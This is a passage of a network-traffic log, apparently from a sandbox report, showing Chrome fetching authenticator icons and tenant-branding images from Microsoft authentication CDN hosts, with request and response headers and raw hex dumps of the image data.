2024-05-24 05:54:48 UTC	638	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:54:48 UTC	785	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:54:48 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 11 Mar 2022 11:11:29 GMT ETag: 0x8DA034FE445C10D x-ms-request-id: 254459e3-b01e-000d-275e-ad3a85000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240524T055448Z-16f669959b45zjq5vq1eccxs6800000005v000000000qv58 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-24 05:54:48 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49716	13.107.213.67	443	5556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:54:48 UTC	422	OUT	GET /shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:54:48 UTC	806	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:54:48 GMT Content-Type: image/svg+xml Content-Length: 1173 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:39 GMT ETag: 0x8D79B83749623C9 x-ms-request-id: 3d039a65-001e-0076-2548-aded92000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240524T055448Z-16f669959b4s56fqrets0n4r9g00000005m000000000pymv x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-24 05:54:48 UTC	1173	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 56 cb 6e 24 37 0c fc 95 c1 e4 da ad 69 52 d4 2b b0 0d 4c 4e 39 ac 6f 41 0e b9 35 b2 b3 1e 03 8e bd b3 6e 78 f6 f3 53 14 a5 de 6c dc 86 dd 25 5b d4 83 2a 16 29 dd bc be 3d ec be ff f3 f4 fc 7a bb 3f 2f cb d7 5f 0f 87 eb f5 ea ae de bd 7c 7b 38 f0 34 4d 07 8c d8 ef ae 8f 9f 97 f3 ed 5e f2 7e 77 3e 3d 3e 9c 17 fb fb ed f1 74 fd ed e5 fb ed 7e da 4d 3b c9 f8 dd df dd 2c 8f cb d3 e9 6e 7e 7d 3d 2d af 37 07 fb ef e6 db e9 ef e5 a3 55 be 3c 3e 3d dd ee 9f 5f 9e 4f fb c3 dd cd d7 79 39 ef 3e df ee ef fd e4 84 79 e0 e2 a6 c2 b3 77 52 fc 60 38 e1 87 06 72 9e c5 71 24 f4 fa dc b1 db c8 b3 4b 52 2e ce c7 58 bf cc c9 a5 14 16 57 a4 b8 1c e4 e2 24 67 27 22 e8 20 57 3c cf c5 95 24 83 a1 2d e3 32 95 81 8e 18 12 68 30 34 83 4f 83 17 97 7c Data Ascii: uVn$7iR+LN9oA5nxSl%[*)=z?/_\|{84M^~w>=>t~M;,n~}=-7U<>=_Oy9>ywR`8rq$KR.XW$g'" W<$-2h04O\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49717	13.107.213.67	443	5556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:54:48 UTC	421	OUT	GET /shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:54:48 UTC	805	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:54:48 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:39 GMT ETag: 0x8D79B8374CE7F93 x-ms-request-id: 97cf711a-501e-0057-711f-ad57a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240524T055448Z-16f669959b427jgr80kzk67y4400000005u000000000q7wu x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-24 05:54:48 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49719	13.107.213.67	443	5556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:54:48 UTC	438	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:54:49 UTC	806	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:54:48 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 11 Mar 2022 11:11:29 GMT ETag: 0x8DA034FE445C10D x-ms-request-id: 254459e3-b01e-000d-275e-ad3a85000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240524T055448Z-16f669959b4np8fgddqght2c4g00000004mg00000000qbcq x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-24 05:54:49 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49723	152.199.21.175	443	5556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:54:49 UTC	656	OUT	GET /dbd5a2dd-n2kxueriy-dm8fhyf0anvulmvhi3kdbkkxqluuekyfc/logintenantbranding/0/illustration?ts=638116536587632547 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:54:49 UTC	618	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 1126 Cache-Control: public, max-age=86400 Content-MD5: A4OQ6N4MH75uEKijO9J+Gg== Content-Type: image/* Date: Fri, 24 May 2024 05:54:49 GMT Etag: 0x8DB0B9BF12F27C7 Last-Modified: Fri, 10 Feb 2023 19:20:59 GMT Server: ECAcc (lhc/7930) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: beff64e3-e01e-002b-209c-adc32e000000 x-ms-version: 2009-09-19 Content-Length: 256712 Connection: close
2024-05-24 05:54:50 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 8d 00 8d 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 02 02 01 01 02 01 01 01 02 02 02 02 02 02 02 02 02 01 02 02 02 02 02 02 02 02 02 02 ff db 00 43 01 01 01 01 01 01 01 01 01 01 01 02 01 01 01 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 ff c0 00 11 08 02 9f 04 a9 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCC"}!1AQa"q2
2024-05-24 05:54:50 UTC	1	IN	Data Raw: 04 Data Ascii:
2024-05-24 05:54:50 UTC	16383	IN	Data Raw: 37 af 6f e5 58 ae 1b ed 0c 58 ee 1d 7b e3 af 4e 3a 56 ed b4 f8 08 a6 3c 81 f2 8e 49 e0 9c e3 19 e6 be 57 6d 3b 1e e2 77 d5 1a 69 14 5f 26 7a f5 39 fe bf 9d 49 84 0e cc 0e e3 9c 00 31 f8 1f d2 a5 11 a1 1b c9 0a 76 f0 3f c7 df 15 1c ca 21 4d e8 47 ae 31 9c fd 33 d2 81 8e 13 08 81 3b 4e e2 7a e4 f1 9f 6a 70 b8 46 f9 64 39 6e 0e 78 1d 38 c6 07 bd 56 67 62 aa c0 02 48 24 e7 82 00 ed c7 f9 e6 b1 a4 b8 26 52 a0 6d eb 8f 4c 8c 75 cf 5a 00 e8 95 03 b0 c1 19 eb f8 ff 00 8f 35 34 c7 62 ed 24 16 ed 80 33 f5 e9 59 f6 ae 11 51 89 2c c7 df 1c 73 d4 03 ed 56 24 29 2e 5d c9 50 3d cf e5 f4 a0 07 47 b1 83 6e 03 77 af 39 fa 80 29 ec 88 9b 00 e7 3f 31 e4 ff 00 2c d5 51 c8 ca b7 07 8e 3b 83 cf 3e 95 3a 2e 13 73 f0 00 23 04 9f a6 33 fe 7a 50 02 9b e0 92 04 50 42 e0 f6 07 38 f7 Data Ascii: 7oXX{N:V<IWm;wi_&z9I1v?!MG13;NzjpFd9nx8VgbH$&RmLuZ54b$3YQ,sV$).]P=Gnw9)?1,Q;>:.s#3zPPB8
2024-05-24 05:54:50 UTC	16383	IN	Data Raw: bb c7 4a fb 63 fe 0a 69 fb 69 5d 7c 5b f1 cd d7 80 fc 21 74 60 f0 ae 86 5a ce da 08 a4 c4 29 6a 8c f1 b4 85 4a ff 00 ad 7c 67 a9 f6 af c8 1d c2 34 5e 19 42 ae 0b 30 fb e3 3b b2 ab d1 7f ae 6b ec b2 8c b9 61 69 51 8d 2a 7c f5 27 d2 c8 f0 b1 18 b5 8a a9 5f 15 8a 7e ce 85 3b f2 f6 d0 59 a6 11 21 f6 18 03 8e 87 9c 65 87 ad 61 3c 9b e5 2c d9 ca 8f 94 9e 47 3d b8 1c f1 8f ca ad 4f 38 72 48 38 5e 41 e9 d7 9e fe 95 48 8c 8d c3 a1 3c 7e 67 18 c7 b5 7e ed c2 f9 14 30 14 7e b9 5d 5a bc f5 8f 75 b1 f8 8f 17 71 0b cd 71 0b 05 42 7c b8 3a 5a 68 f4 93 27 19 6e 71 ef d0 0a b5 04 7c 82 47 3f e7 fc 3f 5a af 18 e0 76 c0 00 f4 e7 b9 1f ca b4 61 51 85 f5 cf f3 ff 00 f5 d7 dd 51 8b 9b 8c 9a b7 36 a7 e7 95 a6 e1 74 9e 85 b8 94 1c 7d 0f 1c fa e2 af c5 19 c8 e3 80 3a 73 9f 4c 7e Data Ascii: Jcii]\|[!t`Z)jJ\|g4^B0;kaiQ*\|'_~;Y!ea<,G=O8rH8^AH<~g~0~]ZuqqB\|:Zh'nq\|G??ZvaQQ6t}:sL~
2024-05-24 05:54:50 UTC	16383	IN	Data Raw: 2b e1 73 0c be b6 02 6e 74 9f 3e 1e 5a fa 79 1f 5b 47 11 4f 1f 1e 78 46 31 c4 ad 1c 6d ba fe 6b 77 7d cf d5 71 04 4a 3e 58 c0 5e 9d 30 7f cf f8 55 98 ca 46 39 1f 36 7d f2 07 35 e8 ba ef 85 2d ae 2c 20 f1 1f 86 ae 62 d4 f4 6b d8 c5 cc 12 c1 21 91 76 49 f3 00 db 47 ca 42 91 de bc ce 44 7d e0 e7 9e 85 71 82 ac 3b 57 94 eb 5f 5d 8d b9 23 1d 39 75 5f 99 a7 1b ab 60 29 00 93 c9 eb 91 f8 d5 81 12 6e 00 e3 18 27 a7 39 ff 00 0e b5 99 1e 53 07 92 7f cf 6f 5e 3f 5a d4 84 12 43 1f 9b 82 00 fa 81 8a 14 b9 b5 35 82 d3 48 5c 95 2d f0 46 13 0a 4e 4f 5c 93 ce 3b fb 55 8f 2b fd 9f d7 ff 00 af 52 ae 51 41 6e 79 c6 3e b9 3d a9 7c c5 fe ef f3 ff 00 e2 a8 b2 ec 29 6f b5 8f e6 39 47 ce 17 83 c8 39 ef f8 fe 75 65 54 3c 9c 7c a0 7a 76 1e 9e f5 1c 69 ce 17 83 8c fd 7f 3a bb 0c 18 Data Ascii: +snt>Zy[GOxF1mkw}qJ>X^0UF96}5-, bk!vIGBD}q;W_]#9u_`)n'9So^?ZC5H\-FNO\;U+RQAny>=\|)o9G9ueT<\|zvi:
2024-05-24 05:54:50 UTC	16383	IN	Data Raw: dc 57 c2 7e 36 f1 d5 d6 a7 2c d1 47 23 ed 62 c3 03 69 cf 3d b2 38 3c 54 5e 34 f1 b5 de b5 72 d1 24 d2 34 65 88 3f 30 00 80 4f 39 1e f5 e7 86 26 6c 31 39 27 9c 9e 71 9f ad 7f a6 5e 1a 78 61 96 f0 e6 13 0b 88 c4 d1 4a bd af ca e2 bf ba 7f 14 f1 f7 88 d8 fc ef 11 5b 09 84 ab fe ce b4 e6 52 2a 31 70 09 62 5b 7f 39 3c fb 9e 7d 72 3f 5a 60 88 96 0c 7b 71 83 d7 9f a5 5c f2 8a 80 3b 0c e3 a7 04 8e a4 e6 a2 c6 0e 09 c9 fd 3e 9c 57 ee 4a 5b 7b 38 b8 c1 68 ba 68 7e 49 ef 73 2e 67 cd 29 6e 4d 14 63 e9 c6 7f 0e 2b 42 38 d0 63 24 e3 19 07 df d7 a5 55 85 97 a9 18 38 e3 9f 7a d1 46 c8 fd 7d 30 3f 0a c2 ae bc cd ad 4d a2 92 69 25 64 c6 3e d3 83 92 4e 47 6f 4f a0 ab b6 e8 bb 37 12 09 c8 e3 8e 3a d4 03 24 f1 82 08 c6 3a f7 ab 71 02 00 1d 86 7b 77 ff 00 3f ca b8 aa 4f 97 44 Data Ascii: W~6,G#bi=8<T^4r$4e?0O9&l19'q^xaJ[R*1pb[9<}r?Z`{q\;>WJ[{8hh~Is.g)nMc+B8c$U8zF}0?Mi%d>NGoO7:$:q{w?OD
2024-05-24 05:54:50 UTC	16383	IN	Data Raw: d4 90 f8 27 42 93 e1 8f 84 2e 95 fc 43 aa 42 d0 6a 4f 6a ea ad 63 03 12 18 92 b9 e4 83 de bf 0a 2f 2f ca 24 97 97 0c 5e 52 ce ce ef cb 4b 29 cb 3b b3 11 96 39 35 7b c5 be 39 d6 7c 71 e2 1d 63 c5 3e 21 bb 96 e6 fb 58 b9 7b b6 32 33 4b e4 47 2b 96 58 72 78 4c 0c 70 2b cb 35 5d 45 ee e6 f2 63 2d e4 a1 f5 c2 92 4f d7 eb 5f 7b c3 99 0d 6c 56 22 9d 29 c7 92 9c 7d ee 6e fe 47 e7 f9 fe 6f 75 2a 92 76 49 fe ee 3f cb e7 12 bd f5 e4 b7 b3 99 db ee b6 76 8f 40 3f 0a a9 ef f8 51 c8 f9 73 c0 3f 5e 87 de 90 b6 3a d7 ec 94 28 53 c3 d2 8d 18 46 ca 1f 99 f9 a5 5a b2 ad 52 75 66 ef 29 eb 7e e2 d1 4d 0c 0f 03 34 ea d8 e6 93 69 ee 3d 3a fe 15 30 ea 3e a2 98 a0 00 0e 39 20 54 c8 bd c8 e3 b5 6b 0d 88 6d fa 8a c7 6b 67 1d bf af ff 00 5a a7 8c e4 67 18 3e bc d4 78 e7 3d fa 53 83 Data Ascii: 'B.CBjOjc//$^RK);95{9\|qc>!X{23KG+XrxLp+5]Ec-O_{lV")}nGou*vI?v@?Qs?^:(SFZRuf)~M4i=:0>9 TkmkgZg>x=S
2024-05-24 05:54:50 UTC	16383	IN	Data Raw: ae f4 75 6f 97 24 30 23 d0 76 ff 00 3e b5 c5 2c 23 95 da 47 4d 2c 47 e6 70 c7 47 69 95 f7 fc 88 a7 1b b2 7e 66 e7 07 3d 8e 6b 06 eb 43 91 08 33 9f 38 2b 70 18 60 15 27 81 f2 f7 e0 7b f3 5e 89 35 9b b8 50 1d 82 82 0e dc f5 c7 38 23 f3 fc aa 1b bb 78 f6 16 94 61 d4 01 b4 73 bb 68 c0 e9 de b9 2b 60 ef 06 a5 1b b3 d1 a1 8e ab 4e 69 c6 4b fe de 3c 66 4f 0e dd c5 7b 2d c1 93 36 f3 83 88 5c e4 2f 1c 60 91 91 f9 d7 2d a8 78 3a d6 e9 ae 37 5b ab 34 8d c8 11 ab 21 c8 39 c8 6e a3 9a f7 98 ac d6 5f 9e 4e 73 9d 8a d9 f9 7a 63 a1 e7 8a c5 bc b2 f2 65 6c f0 cd 90 a9 b4 10 58 8e b9 27 af 15 e6 4f 2d 4e 9b bd 34 fe 47 a9 0c d6 7c d1 f7 b9 66 bf 94 fc f1 f8 c1 fb 21 7c 37 f8 9d 67 77 63 e2 5f 0a 69 b7 6f 73 1b e2 43 04 6b 3a 93 9f 99 1e 38 db 07 e6 3f c3 f4 c5 7e 34 7c 68 Data Ascii: uo$0#v>,#GM,GpGi~f=kC38+p`'{^5P8#xash+`NiK<fO{-6\/`-x:7[4!9n_NszcelX'O-N4G\|f!\|7gwc_iosCk:8?~4\|h
2024-05-24 05:54:50 UTC	16383	IN	Data Raw: 11 19 90 12 bf bc 89 98 9d a7 bd 75 40 a8 1c 8f 9b 3e fe fd bf cf 4a e4 ab 37 39 b6 ec bd 36 3d 0c 34 15 28 46 11 6d db b9 97 30 3b 18 fd d1 d3 80 33 fc b9 ae 03 5d 19 1d 01 04 e0 e4 02 09 00 91 9c f6 ce 3f 2a f4 2b ac a9 6c f7 1d c0 f4 27 fc 2b 80 d6 c6 54 93 db 77 b0 e8 7b 0a f3 b1 76 51 7a 1e be 1d b6 ec f6 ff 00 86 3e 0a fd a1 bc 17 a8 47 71 6f f1 3b c2 90 24 be 26 f0 c2 33 ea f6 d0 e4 be b3 a4 12 3e d3 09 dd 9f 36 75 89 7f 76 31 9a f1 09 66 d2 7c 7b e1 e8 75 7b 20 1e d7 53 3f 74 00 26 d3 75 14 19 7b 79 b9 dd 0c a9 2e 7d 2b ee ff 00 12 aa 91 28 64 56 46 0c 1d 76 83 95 20 e7 8c 7c c7 a5 7e 79 f8 de cb fe 14 ff 00 8d 24 d5 62 86 53 f0 eb c6 97 29 0e a9 e5 07 29 e1 ed 6e 56 22 39 d5 01 cc 70 b9 3b 9c 83 81 ba be 43 30 a4 ea cd db 74 7d 3e 0a ab c3 ce 32 Data Ascii: u@>J796=4(Fm0;3]?*+l'+Tw{vQz>Gqo;$&3>6uv1f\|{u{ S?t&u{y.}+(dVFv \|~y$bS))nV"9p;C0t}>2
2024-05-24 05:54:50 UTC	16383	IN	Data Raw: 5f b3 4b 22 c6 19 a6 8d 43 2e ec ee cf 35 f8 e7 e0 1f 1d 49 05 de 85 e3 3f 0c dc aa 6a 1a 4d e4 1a 95 ac ac 11 be c9 7f 6e 7c d4 32 2b ab 02 8a eb dc 57 a7 78 b3 e3 4f c4 cf 18 78 ab c5 7e 38 d7 7c 51 e4 ea de 29 b3 82 cb 55 fe cf b7 b7 b5 b2 7b 78 21 58 c3 35 b8 b6 58 e4 76 8f f8 b6 03 c5 7e 33 5e 38 8f 6f 52 15 f4 ae a5 ef 3e a7 eb 14 65 42 34 a1 3a 4b f7 2e 2a d6 13 e2 ff 00 c4 4b 7d 72 ed b4 bd 07 51 d6 ec 3e 19 f8 7e 7b 99 7c 1f e0 fb fd 7b 51 d4 ac b4 4b 79 5d a4 d9 6a b7 73 c8 b2 cf 96 cb 30 c3 2e 76 f2 bf 2d 7c f3 a5 d9 4b af dd cf a9 5e 06 92 d0 92 ab e7 28 c8 8d b8 01 17 b8 fc 2a 09 25 bb f1 86 a2 d6 f0 cb 22 68 96 6c 4d dd f6 e5 8c 5f 4c a4 bb 86 5c 63 ef 03 ca fe 75 f5 a7 c0 bf d9 b7 c7 3f 1c 6e 6d 1f 41 68 3c 2f e0 d8 66 9a c1 bc 53 a8 5b dd Data Ascii: _K"C.5I?jMn\|2+WxOx~8\|Q)U{x!X5Xv~3^8oR>eB4:K.K}rQ>~{\|{QKy]js0.v-\|K^(%"hlM_L\cu?nmAh</fS[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49722	152.199.21.175	443	5556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:54:49 UTC	654	OUT	GET /dbd5a2dd-n2kxueriy-dm8fhyf0anvulmvhi3kdbkkxqluuekyfc/logintenantbranding/0/bannerlogo?ts=636783560697171089 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:54:50 UTC	615	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 811 Cache-Control: public, max-age=86400 Content-MD5: yfMeh0AMRvn4+1gGAjKMcg== Content-Type: image/* Date: Fri, 24 May 2024 05:54:50 GMT Etag: 0x8D64F464E9A2738 Last-Modified: Wed, 21 Nov 2018 00:14:30 GMT Server: ECAcc (lhc/7928) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: d09ee625-001e-000c-149d-add4ea000000 x-ms-version: 2009-09-19 Content-Length: 3666 Connection: close
